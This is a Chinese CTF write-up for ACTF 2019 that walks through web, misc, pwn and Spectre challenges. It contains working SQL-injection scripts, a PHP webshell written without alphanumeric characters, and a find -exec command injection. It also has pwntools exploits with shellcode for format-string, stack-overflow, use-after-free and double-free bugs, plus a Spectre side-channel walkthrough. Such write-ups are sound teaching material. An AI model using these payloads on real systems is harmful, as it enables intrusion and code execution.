ACTF 2019 初赛 解题报告
Web
easy_php
出题人小声比比
由于出题人很菜,这道题只是简单弄了个文件夹,没有做好隔离,容易被选手翻目录查看其它选手的思路或者盗取Payload,以后看下一届能不能把平台弄成动态docker分配,滑稽。
这道题思路是我在测试thinkphp 5.0.23 的真实案例,因为thinkphp默认开启了disable_function,题目中的disable_function多加了些pcntl限制,防止非预期解,从解题报告看,大家都是用LD_PRELOAD。
当绕过disable_function后,细心一点你可以发现题目环境是用lnmp搭建的,因为web根目录是/home/wwwroot/default/ ,lnmp在1.5及之后版本的mysql密码为 lnmp.org#随机数字
,数字一般是5位数,题目中我改了下密码,但爆破的还是5位数
这道题的知识点在平常渗透中可能有点用
解题过程的截图是当初刚搭好的环境时,后来改了下数据库密码和hint.txt
考点
突破disable_function 然后爆破mysql密码
预备知识
用LD_PRELOAD bypass disable_function
https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html
解题过程
访问题目后,只是简单新建了个sandbox下的文件夹
跳转到自己的sandbox后,给了eval一句话后门,但是执行system,exec没有回显
查看phpinfo,发现disable_functions禁止了很多函数,所以题目思路就是要突破disable_function然后执行命令
参考预备知识链接的方法绕过disable_function
突破disable_function后,拿到shell(让python脚本执行反弹shell命令)
在根目录发现hint.txt
1 | Flag is in MYSQL,the root password is csuaurora.org#?????4 |
爆破数据库密码php脚本
1 |
|
爆破出mysql密码后登陆mysql数据库获取flag
easy_Login
考点
MongoDB 重言式注入
预备知识
解题过程
抓包发现请求是json,应该想一想是不是NoSQL
1 | import requests |
easy-injection
出题人感想
heavy-query对服务器运行压力还是有的,一跑脚本服务器cpu都上到100%。设置了wait_timeout为120秒,无论是在配置文件还是set global wait_timeout=120,sql语句运行超时了并没有终止掉,不过也没多少人跑…不知道是该庆幸还是悲伤web题没人做
有人(不是战队)跑出look_here 来问我怎么跑不出字段,去服务器看了下发现他没有用ascii,去年战队考核题我有提醒过,要是战队的同学犯这种错误自己面壁一下。
考点
时间盲注
预备知识
show columns from xxx 时间盲注
过滤了if,elt,case ,用 and 1 and sleep(3) #
过滤了sleep,可以用heavy-query
过滤flag列名,但使用表别名失败,但知道表名,可以用select * from Look_here limit 1 来获取
如果= 被过滤可以用regexp binary 或者 like binary(没有过滤 =)
过滤了sub , 用mid
解题过程
1 | #/bin/python |
极光实验室招新报名表
考点
update 注入
预备知识
https://www.anquanke.com/post/id/85487
解题过程
暴力sha1脚本,没错验证码只是数字而已,出题人不会为难你们跑那么久的,几分钟就跑出来了,如果用多线程就更快了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17import hashlib
import datetime
def sha1(s):
return hashlib.sha1(str(s).encode('utf-8')).hexdigest()
def main(s):
starttime = datetime.datetime.now()
for i in range(10000000,99999999):
if(sha1(i)[-8:] == str(s)):
print(i)
endtime = datetime.datetime.now()
print((endtime - starttime).seconds)
exit(0)
if __name__ == '__main__':
main("a8f38a0c")
注册好后,登录后可以填写报名表,填写后名字有回显,所以考虑下是不是update 注入 , 盲注应该也可以,但比起update注入来说太慢了。
过滤不多,主要是or1
2
3
4if(preg_match("/(if|or|%20|\||\"|%0a|substr|pass|uid|content|salt|sleep|benchmark|ascii|outfile|dumpfile|load_file|join)/i", $name))
{
die("you bad bad!");
}
过滤了or ,不能用information数据库,可以用 innodb_table_stats
但innodb没有表的字段名,可以用表别名,然后跑出各个字段内容,来猜测flag在哪个字段里
如果参加过四月份的国赛,应该没有难度
利用脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65import requests
import binascii
url = 'http://140.82.19.20:10010/'
# url = 'http://202.197.58.168:10010/'
login_url = url+"login.php?action=deal"
update_url = url+"join.php?action=deal"
getdata_url = url+"index.php?action=join"
s = requests.session()
def login():
datas={
'lo_uid':'', #账号
'lo_pw':'' #密码
}
r = s.post(url=login_url,data=datas)
def getTable():
flag = ''
payload='0\'^conv(hex(mid((select group_concat(F.1) from (select 1 union select table_name from mysql.innodb_table_stats where database_name=database())F limit 1),%s,8)),16,10)#'
for i in range(1,2):
payload_data = (payload%(1+(i-1)*8)).replace(" ","/**/")
datas={
'name':payload_data,
'content':'123'
}
r = s.post(url=update_url,data=datas)
r = s.get(url=getdata_url)
index = str(r.text).find("value")
text = hex(int(str(r.text)[index+7:index+21]))
# print(text)
data = binascii.a2b_hex(text[2:])
flag+=str(data)[2:-1]
print(flag)
def getdata():
flag = ''
payload='0\'^conv(hex(mid((select group_concat(F.5) from (select 1,2,3,4,5 union select * from user)F limit 1),%s,8)),16,10)#'
for i in range(1,7):
payload_data = (payload%(1+(i-1)*8)).replace(" ","/**/")
datas={
'name':payload_data,
'content':'123'
}
r = s.post(url=update_url,data=datas)
r = s.get(url=getdata_url)
index = str(r.text).find("value")
text = filter(str.isdigit,str(r.text)[index+7:index+26])
texts = ''.join(list(text))
print(texts)
texts = hex(int(texts))
# print(text)
data = binascii.a2b_hex(texts[2:])
flag+=str(data)[2:-1]
# print(data)
print(flag)
login()
getTable()
getdata()
upload something
考点
CVE-2017-15715
预备知识
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
解题过程
上传一个php文件,里面是一句话木马
利用burpsuit改包
利用burpsuite 修改参数name, 在hex中添加一个byte 0a
上传成功,
利用菜刀连接,查看目录
得到flag
badip
考点
php伪协议读源码
不带数字和字母的shell
短标签
预备知识
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
解题过程
首先打开后链接后自动跳转到了一个查询页面,但修改查询参数id后会有回显”Your ip is recorded in xxxxxxxx.txt“,看到这样的提示,应该就要想到前面的sql注入只是个幌子,实际上是写入木马,但这里就有两个问题了,一、txt文件该如何读取。二、该如何修改ip,是否有过滤。
那么要么是自己头铁,自己试出源码来,又或者想想,有没有什么敏感文件。那么就在robots.txt中发现了include.php和phpinfo.php。看到了include就想到了是写入txt,然后包含即可。访问include.php发现出题人很良心的告诉了源码,还一点过滤都没有,那么就可以通过php伪协议来获取源码了。(然鹅这里有个坑了出题人的坑,出题人设置了ini_set(“include_path”, “./:./record/“),但是没有生效,实际上是可以直接包含外面的文件的,还出了个超级简单的非预期解,后来出题人偷懒,将flag文件的名字改成了一长串的字符)
php://filter/read=convert.base64-encode/resource=index.php
base64解码后
1 |
|
看到这个sql查询是用了预编译的,先不理。(当然,这里有sql的账号和密码,貌似可以通过mysql做些什么,但是题目是通过docker搭建的,3306端口无法访问,所以就别想这些骚操作了)然后发现对id进行了正则匹配,只要含有那几个字符就会记录ip地址,并且获取ip的消息头都已经提供了,用client-ip设置即可。
但又来了一个难点,就是preg_match(‘/[a-z0-9]/is’,$ip),好吧,其实不算难点,看到这样的过滤,就应该想到p神的不包含数字和字母的webshell(https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html),p神提供了三种webshell,但是这里又有一个坑,由于使用头消息传递数据,所以是不会进行url编码,所以方法一使用不可打印字符异或就不好弄了,而方法二的中文字符也有问题。所以唯一能使用的就是方法三了。
shell的问题解决了,但是大家都知道,shell的使用还需要<?php ?>
来作为标签,但是这里不允许输入字母。这时候就到了之前robots.txt文件中没有用到的phpinfo.php了,发现里面的短标签是开着的,那说明可以用<? ?>
来代替<?php ?>
。
所以写入的shell如下:
1 | "$_"; $_=$_['!'=='@']; $___=$_; $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; $___.=$__; $__=$_;$__++;$__++;$__++;$__++; $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;$_=$$____;$___($_[_]); $_=[];$_=@ |
然后通过文件包含即可
different
考点
敏感文件泄露
cat指令的利用
预备知识
http://39.108.99.6/article/Red-hat-awd.pdf
解题过程
这题的思路来自学长的博客(http://39.108.99.6/article/Red-hat-awd.pdf)
首先访问目标网站发现是个WordPress,并且版本什么的都知道了,可以去找找该版本的漏洞。
但是没有找到,那么就要找找别的思路了。那么,惯例开始扫描,然后扫出了个www.zip,解压后发现居然是全站的源码,惊不惊喜,意不意外。然后居然有一整个网站的源码,这是要看死你们。但实际上可以去官网下载一个相应版本的WordPress4.9.5的源码。然后通过对比扫描,查看两者有何区别,这样就不用看源码了。
发现修改为下面这样,增加一个debug,会将输入拼接,然后使用system函数执行。
1 | if ( !in_array( $action, array( 'postpass', 'logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login' , 'debug' ), true ) && false === has_filter( 'login_form_' . $action ) ) |
但是这里首先有addslashes() 函数,
1 | addslashes()函数返回在预定义字符之前添加反斜杠的字符串。预定义字符是有单引号('),双引号("),反斜杠(\),NULL。 |
然后又有escapeshellcmd() 函数
1 | escapeshellcmd()函数对字符串中可能会欺骗shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()或 system() 函数,或者执行操作符之前进行转义。 |
而find命令,如果想多执行别的命令,可以利用-or,并且-exec 参数后面跟的是command命令,该命令的终止是以;为结束标志的,并且要注意前面的空格,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。
所以可以构造payload为:find /tmp -iname sth -or -exec ls \;
所以我们的输入为:sth -or -exec ls / ;
,这里没有\
,是因为上一个函数自动帮你加了\
。
读取flag文件,获取flag。
Misc
regular_expression0
ECMA正则表达式可以认为就是一个比较基础的DFA,这里直接给解了。
同时推荐了解一下Regex golf这个游戏,虽然没有实际的意义,但是好玩啊。
1 | ^[^o]+$ |
regular_expression1
1 | ^(x+)(x+)-\2=\1$ |
half
这题确实有点难度,首先获得图片,查看源码,会发现里面还藏着一张图片,只是没有文件头,那么尝试把现有图片的文件头放上去即可,如此即可获得两张照片,并且这两张照片还是一模一样的。两张一模一样的图片,就应该要想到盲水印,去github上(https://github.com/chishaxie/BlindWaterMark)下载下来,放到Linux(或kali)中,将两张照片放进去,输入python bwm.py decode half.png half-mang.png shuchu.png
,half.png为本来给的图片,half-mang.png为从图片中获取的图片。
发现以下内容,很明显只有flag的一半,那么剩下的一半去哪了。
png图片还有什么常见的隐写方法,就都试试,最后发现剩下一半的flag在LSB中,不过要用GBR的顺序排列。
最后合并两个flag即可。
nc
题目只给了一个流量包,打开后发现一个较大的数据包
提取数据(复制为纯文本),再base64解密获得源码。
1 | #!/usr/bin/env python |
发现程序是一个通过loopback
回传一段由时间戳生成的key在经过sha512
后的结果。并且,flag
在与key
进行异或后也进行了一次传输。
而我们获取了流量包,所以所有传输的数据我们都获得了。
1 | hash512(key):d9b29a82f73b898093be8affe532f082e74080f3a1d6918a33e185f762c19684a0439078b10cb7e23727faa9e8a3fb5a4babf7f793c30fa86d12b67154995c9b |
而这里的key是int(time.time())生成的,也只获得了加密后内容。但是可以通过流量包里的时间确定int(time.time())的大致范围,然后对范围内的都进行sha512,然后和我们获取的数据进行对比,从而爆破源码。
既然流量包的时间为5月2号,那么从5月1日开始爆破。
获得原key的爆破脚本如下:
1 | #!/usr/bin/env python |
获取的key为1556776194。
解码获得flag的脚本如下:
1 | #!/usr/bin/env python |
solidity
本题只给了一个智能合约的地址,这里考察的是智能合约的基础知识,其实这里给少了内容,应该提供智能合约的源码。源码如下:
1 | pragma solidity ^0.5.0; |
看源码可以知道这里在创建该合约时输入了flag,而按照智能合约的特性,所有的操作都会被记录下来,所以flag也会被记录下来,故去https://ropsten.etherscan.io/搜索:0x404e55fd733ff8c3009be5106a5f44c1b3a6576b即可,然后查看该合约的记录即可获得flag。
overflow
该题是简单的溢出漏洞,只要amount<balances[msg.sender],得到的就是一个极大的数字。
然而首先要配置一个MetaMask,具体操作:https://www.jianshu.com/p/e7137f8daddd
首先将源码复制到https://remix.ethereum.org,设置编译器版本为version:0.5.9,然后坐等编译
之后再Run面板上,修改Environment为Injected Web3,注意一定要如下图修改,否则无法连接。
然后再At address栏输入题目中的地址,加载该合约,右下角就是加载的合约。
展开合约,在deposit栏输入1,点击deposit。允许交易,如此一来,在该合约中,余额为1。
在withdraw栏输入5,点击withdraw。允许交易,如此一来,在该合约中,我们的余额就是1-5=-4,由于这是一个该参数为正数,所以就变成了一个巨大的数字。
然后再getFlag一栏输入自己的邮箱,等flag发到邮箱即可。
Pwn
一个复读机
repeat()里是一个裸的printf(input),所以很明显就是一个格式化字符串啦~1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66from pwn import *
io = remote('140.82.19.20',36427)#process('OneRepeater')
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
io.recvuntil('3) Exit\n')
io.sendline("1")
readbuffer_addr = int(io.recv(8), 16)
shellcode_addr = readbuffer_addr + 0x40
ret_addr = readbuffer_addr - 0x24
print "read buffer address: " + hex(readbuffer_addr)
offset = 16
payload = p32(ret_addr) + '%' + str((shellcode_addr & 0xffff) - 4) + 'd%' + str(offset) + '$hn' + 'aaa' + p32(ret_addr + 2) + '%' + str(((shellcode_addr >> 16) & 0xffff) - (shellcode_addr & 0xffff) - 7) + 'd%' + str(offset + 5) + '$hn'
payload += 'a' * (0x40 - len(payload)) + shellcode
io.send(payload)
sleep(1)
io.sendline("2")
io.recvuntil(shellcode)
io.interactive()
'''
To illustrate why we write payload in that way
This is an example stack layout, supposing the leak address is 0xffffc970
*---------------*
c930 | 0xffffc970 | (addr of format string)
*---------------*
c934 | xxxxxxxxxx | 1$ (first parameter of printf)
*---------------*
.....
*---------------*
c94c | return addr | 7$
*---------------*
.....
*---------------*
c970 | 0xffffc94c | 16$ (start addr of read buffer)
*---------------*
c974 | "%516" | 17$ (51628 = 0xc9b0 - 4)
*---------------*
c978 | "28d%" | 18$
*---------------*
c97c | "16$h" | 19$
*---------------*
c980 | "naaa" | 20$
*---------------*
c984 | 0xffffc94e | 21$
*---------------*
c988 | "%138" | 22$ (13869 = 0xffff - 0xc9b0 - 4 - 3)
*---------------*
c98c | "69d%" | 23$
*---------------*
c990 | "21$h" | 24$
*---------------*
c994 | "naaa" | 25$
*---------------*
c998 | "aaaa" | 26$
*---------------*
.....
*---------------*
c9b0 | |
| shellcode |
| |
*---------------*
'''
又一个复读机
在input里有一个整形转换成无符号整数的情况,所以可以输入最多60000+字符,所以就变成一个简单的栈溢出了。1
2
3
4
5
6
7
8
9
10
11
12
13from pwn import *
io = process('AnotherRepeater')
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
io.recvuntil('want to reapeat?\n')
io.sendline('-1')
read_buffer_addr = int(io.recv(8), 16)
payload = shellcode
payload += (0xcd3c - 0xc91d - len(payload)) * 'a' + p32(read_buffer_addr)
io.send(payload)
io.interactive()
babystack
1 | from pwn import * |
babyheap
考点
fastbin UAF
解题过程
提供了创建、删除、打印三个功能。结点的数据结构中除了一个指针存放字符串以外,还存放了一个函数指针。有函数指针,一个通常的思路就是想着可不可以改掉它,把它变成自己指定的函数。
漏洞点在于,删除的时候指向结点的指针没被抹零,导致display
函数可以打印一个被free掉的结点,关键还在于它用的打印函数就是这个函数指针,只是这个函数指针一开始指向了自己写的一个打印函数,而且参数还是本结点的那个字符串,如果能修改掉这个函数指针为system
,修改掉字符串指针为/bin/sh
的地址,进行打印操作的时候就会执行system("/bin/sh")
。
创建的过程会进行两次malloc,一次malloc创建结点,一次malloc创建结点中的字符串,创建结点的大小恒为16,但是字符串的大小可控。如果我们创建两个结点,保证字符串的堆块大小与结点的堆块大小不在一个fastbin里面,然后都free掉,这个时候0x20大小的fastbin存放着两个结点的堆块。如果我们再创建一个结点,但是控制字符串大小为16,这个时候字符串得到的堆块就是原来free掉的第一个结点,又因为字符串可控,我们就可以对原来free掉的第一个结点的两个指针进行修改,进行display操作,即可拿到控制权。
另外说一句,由于定位在简单题,system
函数和/bin/sh
字符串都可以在程序段中找到
exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31from pwn import *
io = process('babyheap')
binsh = 0x602010
system_addr = 0x4007a0
def create(content, size):
io.recvuntil('Your choice: ')
io.send(str(1))
io.sendafter('size: \n', str(size))
io.sendafter('content: \n', content)
def delete(index):
io.recvuntil('Your choice: ')
io.send(str(2))
io.sendafter('index: \n', str(index))
def myprint(index):
io.recvuntil('Your choice: ')
io.send(str(3))
io.sendafter('index: \n', str(index))
create('a', 32)
create('b', 32)
delete(0)
delete(1)
create(p64(binsh) + p64(system_addr), 16)
myprint(0)
io.interactive()
message
考点
double free
解题过程
题目用了一个数组去存储结点的信息,每个结点有一个size字段,一个字符串指针,字符串的存储空间通过malloc的堆块来提供,size是可控的。
漏洞点在于free后只对size字段清零,没对字符串指针清零,而且free之前除了检查了索引的有效性外,没有其他的检查,因此可以double free。
double free的效果是可以把返回堆块的指针引导到存储结点信息的数组中,又由于size字段可控,因此这个假的堆块可以过检测,这个时候就可以通过覆写字符串指针,凭借编辑和打印功能实现任意地址读写。
最后由于开了FULL RELRO,所以不能直接写GOT表,可以修改__free_hook
函数指针为system
函数地址,一旦执行free函数的时候就会执行__free_hook
指向的函数。然后创建一个堆块,写入字符串/bin/sh
,此时删掉这个堆块的时候就等同于执行了system("/bin/sh")
,控制权获得。
关于double free具体是如何做的,为什么会有这样的效果,可以参见how2heap的fastbin_dup_into_stack.c
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59from pwn import *
io = process('message')
elf = ELF('./message')
libc = ELF('./libc.so.6')
def add(message, length):
io.sendafter('your choice: ', str(1))
io.sendafter('length of message:\n', str(length))
io.sendafter('the message:\n', message)
def delete(index):
io.sendafter('your choice: ', str(2))
io.sendafter('to delete:\n', str(index))
def edit(index, message):
io.sendafter('your choice: ', str(3))
io.sendafter('to edit:\n', str(index))
io.sendafter('edit the message:\n', message)
def display(index):
io.sendafter('your choice: ', str(4))
io.sendafter('to display:\n', str(index))
io.recvuntil('message: ')
return io.recv(6)
puts_got = elf.got['puts']
puts_offset = libc.symbols['puts']
free_hook_offset = libc.symbols['__free_hook']
system_offset = libc.symbols['system']
fake_chunk = 0x602060 - 8
add('aaaa', 0x51) #0
add('bbbb', 0x40) #1
add('cccc', 0x40) #2
delete(1)
delete(2)
delete(1)
add(p64(fake_chunk), 0x40) #3
add('dddd', 0x40) #4
add('eeee', 0x40) #5
add(p64(puts_got), 0x40) #6
puts_addr = display(0).ljust(8, '\x00')
puts_addr = u64(puts_addr)
libc_addr = puts_addr - puts_offset
free_hook_addr = libc_addr + free_hook_offset
system_addr = libc_addr + system_offset
print 'puts address: ' + hex(puts_addr)
print 'libc address: ' + hex(libc_addr)
print 'free hook address: ' + hex(free_hook_addr)
edit(6, p64(free_hook_addr))
edit(0, p64(system_addr))
add('/bin/sh\x00', 0x10) #7
delete(7)
io.interactive()
学术前沿:幽灵
考点
推测执行、缓存侧信道攻击
出题动机
这个题目不是传统的CTF Pwn题,没有堆、栈、格式化字符串以及IO_FILE等利用。幽灵和熔断是目前信息安全学术界的漏洞研究中最火的课题,这两类漏洞的特点在于,它们利用的不是软件层面的漏洞,而利用的是处理器设计上的缺陷,因此在处理器的设计没有大规模更新换代以前,几乎所有的计算机都可能受到影响。我有幸以幽灵漏洞为课题完成了我的本科毕业设计,这次出题也是我毕业设计的工作内容之一。
我希望能通过此题,让选手们能了解一下目前信息安全界最前沿的研究,从而拓宽知识面。幽灵和熔断代表了一类漏洞利用思想,我希望通过本题,将这种漏洞利用思想介绍给大家。
预备知识
(1)推测执行(Speculative Execution)
推测执行是微体系结构下处理器的一种效率优化措施,我先会介绍推测执行是如何提升效率的,然后会介绍推测执行在提升效率的同时带来的风险。
首先我们来看一看下面这段代码:1
2
3
4
5scanf("%d", &a);
if (a <= max_size)
a++;
else
return;
先输入一个变量a,然后判断a有没有大于最大大小,没大于就自加1,否则就函数返回,这个逻辑是我们通常认为的逻辑。
现在我们要想一个问题,在判断a <= max_size
的时候,因为变量a刚刚才进行了一个写操作,因此a会存在于缓存中,但是max_size
却不一定,很有可能只存在DRAM内存中。学过计算机组成原理的就知道,存储器是分级存储的,最快的是寄存器,其次是L1,L2,L3三级缓存,再次是DRAM内存,最后是硬盘等外部设备。访问越快的存储器造价也越高,因此相比之下设计的容量就越低,所以一般只有近期会经常用到的数据会保存在缓存中,其他的则会放入下级存储器中。
如果max_size
只存在DRAM内存中,那么要判断a <= max_size
是否成立就需要等待max_size
从DRAM中被读入CPU,这个I/O读写时间相对于CPU的执行来说效率是非常低下的,两者不在一个效率级别,如果CPU要等待I/O读写完后再执行后面的代码,则CPU再快也会受制于I/O读写速度。而一段程序中类似这样的I/O读写会执行几千几万遍,这种耽误的时间一旦累积就会对程序的性能带来显著的影响。
因此在20多年前,CPU就引入了乱序执行
,它允许CPU不按程序本来的顺序执行,当出现I/O读写时不会忙等,会执行后面的代码。但是出现分支怎么办?如果I/O读写不完成,分支的走向也就不确定,这时CPU又引入了分支预测
,它会根据该分支历史的跳转记录,预测一个大概率跳转的方向,在CPU忙等的时候沿着这个方向预先执行。乱序执行和分支预测的结合就是推测执行
,推测执行的指令被称作为瞬时指令(Transient Instruction)
,所谓瞬时,就是说这些瞬时指令所造成的影响只是瞬间存在的,不能长久维持。
这里需要着重强调的是,推测执行是CPU底层的特性,是程序员和用户不可见的,推测执行不会对程序员可见的所有状态做任何改变,所有程序员和用户永远认为程序是顺序执行的。等I/O读写完毕后,分支的走向就确定了,如果预测对了,推测执行将直接切换为实际执行,省下了大量的时间,如果预测错了,推测执行的所有状态信息将被丢弃,重新沿着正确的分支执行,虽然没省下时间,但相比于不引入推测执行,也没增加时间,因此横竖是赚,从统计学角度来看,引入推测执行是肯定能节省很多时间的。
根据该分支历史的走向预测该分支当前的走向是有依据的,依据的是计算机体系结构中提到的时间局部性原理和空间局部性原理,这个在循环结构中体现得非常典型,假设有一个100轮的for
循环,那么99次都是选择继续循环,仅有最后一次是跳出循环,如果以历史的走向预测当前的走向,命中率可以达到99%,结合推测执行技术,大大节省了程序执行时间。
推测执行大大提升了程序性能,但早期的处理器设计者们没考虑到其中的安全隐患。前面说过推测执行不会对程序员可见的所有状态做任何改变,但缓存是程序员不可见的,推测执行是会影响缓存的,而且这种影响不会随着推测执行的丢弃而被抹去。虽然缓存是程序员不可见的,但是结合缓存侧信道攻击技术,是有可能通过一些侧信道信息还原缓存信息。
推测执行完全有可能执行实际执行中不会执行到的代码,如果攻击者能恶意训练分支预测器,诱使推测执行去执行一些实际执行中不可能执行的分支,再结合前面讲的缓存侧信道攻击技术,就会带来很大的安全隐患。
(2)Flush+Reload缓存侧信道攻击方法
缓存侧信道攻击有很多种,这次我只讲与主题最相关的Flush+Reload法。假设现在有一个单字节的秘密信息$k$,我们不能通过输出语句将其泄露,那么我们怎么通过缓存侧信道攻击的方法去泄露它呢?
首先我们要有一个探测数组probe
并能够访问,而且还要有能力诱使程序执行类似于temp = probe[k * 256]
这样的语句。首先我们将probe
数组的全部数据都清除出缓存,这个称作Flush
操作,然后诱导程序执行形如temp = probe[k * 256]
这样的语句。接下来我们依次对probe[0x00 * 256]
,probe[0x01 * 256]
,probe[0x02 * 256]
,…,probe[0xFF * 256]
进行I/O读写,称作Reload
操作。对每次I/O操作都要测量其读写时间,我们会发现,当进行probe[k * 256]
的读写操作的时候,读写时间要远小于其他位置的读写时间,这是因为前面才执行过temp = probe[k * 256]
,对probe[k * 256]
有I/O读写,导致这个位置在缓存中,从缓存中读写数据的时间要远小于从DRAM中读写数据的时间。
因此进行Reload操作时,若发现probe[m * 256]
的读写时间远小于其他位置的话,则可以判断秘密信息$k=m$。之所以下标要乘256,是因为缓存载入的单位不是按字节来的,是一个缓存组整体载入,所以乘256是保证每次的访问都对应不同的缓存组
(3)Spectre(幽灵)漏洞原理
下面这个程序段是一个典型地具有Spectre漏洞的代码片段。Spectre漏洞能造成的危害是,它通过缓存建立了一条攻击者到受害程序的隐蔽通道,突破了操作系统的进程隔离,可能泄露出受害进程内存空间的敏感信息,例如密钥、口令。
1 | 1: if (x < array1_size) |
有漏洞是一码事,能利用是另一码事,有漏洞不一定能利用,要能成功利用这个漏洞造成实际危害,至少还需要满足以下条件:
- x可以被攻击者控制;
- array1_size的值只存在于DRAM中;
- 受害程序具备有访问敏感信息的权限,例如不会触发段页错误及异常;
- 攻击者可以控制array2数组。
首先先将array2
数组的全部空间移出缓存。假设敏感信息是存在于首地址secret
处的一个串,当攻击者控制x的值为secret – array1
时,array1[secret – array1]
就正好访问到敏感信息的首地址。但是如果控制x的值为secret – array1
,很可能不能通过语句1的边界检查。array1_size
是存在于DRAM中的,读取array1_size
时CPU会推测执行后面的代码,如果能恶意地训练分支预测器预测到执行语句2这条路径,那么语句2就可以在推测执行中当作瞬时指令执行,array1[x]
就可以读取到敏感信息的一个字节,记作k
。由于推测执行是微体系结构层次下的操作,因此不会对程序员可见的状态做任何改变,然而缓存也是微体系结构的一部分,所以推测执行会改变缓存的状态,这个特性是Spectre漏洞利用的关键所在。由于读取了array1[x]
,导致k
被加载进缓存,那么array2[k*256]
就可以通过缓存侧信道攻击将k
的值还原出来。具体方法是,攻击者逐个Reload探测数组array2[0x00*256]
, array2[0x01*256]
, …, array2[m*256]
, …, array2[0xFF*256]
,并分别比较各自读取时间,若读取array2[m * 256]
的时间明显小于读取其他数组元素的时间,则敏感信息k=m
。接着将x赋值为secret–array1+1
,重复上述过程即可还原敏感信息的第二个字节,依次类推可还原出完整的敏感信息。
具体来说,攻击者利用Spectre漏洞的攻击过程可以分为三个阶段:
- 准备阶段。准备阶段需要完成两项工作,第一,训练分支预测器预测语句2的这条分支,因此需要在攻击开始前多次输入符合
x < array1_size
条件的x,从而使推测执行会选择走语句2的分支;第二,利用Flush方法移出array2
在缓存中的内容,为缓存侧信道攻击创造条件; - 推测执行阶段。本阶段的目标就是通过恶意操控x,推测执行语句2,从而将敏感信息送入缓存;
- 缓存侧信道攻击。这也是攻击过程的最后阶段,通过对
array2
进行缓存侧信道攻击还原敏感信息在缓存中的状态,完成泄露。
解题过程
本题到最后给了提示,即根据论文附录所给的POC代码依葫芦画瓢即可,因为这个题目就是对着这个POC代码改的,将功能性代码保留了下来,攻击过程需要自己完成。我们先来分析一下论文POC的漏洞利用思路
1 |
|
CACHE_HIT_THRESHOLD
这个时间阈值需要根据不同的电脑性能做适当调整,我的电脑设置30的攻击效果是最佳的,一般情况下在30至100个CPU时钟周期范围内设定。设置好后直接
gcc -msse2 spectre.c -o spectre
编译即可,有些杀毒引擎会识别出Spectre攻击将其杀掉,注意设置白名单。直接执行即可发现程序通过侧信道攻击将secret
数组泄露出来了。我们还可以加参数泄露首地址
和泄露长度
,类似于这样输入
./spectre 4010b0 40
可以实现任意地址读。
论文POC的利用思路是,对单个字节会尝试最多1000轮攻击尝试,并对单字节256个数引入评分机制。训练阶段和推测执行阶段绑定在一起共执行5组,每组会输入5个符合x < array1_size
的x来恶意训练分支预测器,1个真正的x将秘密信息送入缓存。在进行缓存侧信道攻击的时候,对于小于时间阈值的位置,该位置的评分加1,当评分第一的位置的评分已经跟评分第二的位置拉开显著的距离时,具体来说是,评分第一的位置评分大于评分第二的两倍还多5,或者当评分第一的评分为2时,评分第二的评分还是0,此时可以提前结束1000轮的循环,评分第一的位置就是要还原的秘密信息。
理论上来说,1轮攻击尝试就已经包含了完整的漏洞利用过程,为什么还要执行1000轮呢?这是因为缓存侧信道攻击的不可靠性。虽然理论上单轮攻击即可成功泄露信息,但是由于缓存是计算机中所有软件公用的,操作系统、其他进程都有可能影响缓存的状态,因此程序的当前运行环境对实验结果有很大的干扰。所以论文引入了多轮尝试和评分机制,通过多轮尝试的评分,从统计学的角度找出最有可能是秘密信息的字节,增强了实验结果的可靠性。
知道了论文POC利用的思路,我们再回到本题中。本题没有去掉符号表,而且菜单信息也有提示,所以每个功能都是很容易理解的。题目共提供了五个功能:
- 设置恶意x用于提取秘密信息
- 设置训练用x用于训练分支预测器
- 提供了Flush操作,清除array2的缓存,为缓存侧信道攻击创造条件
- 提供了分支预测器训练操作
- 提供了Reload过程对每个位置的读取时间
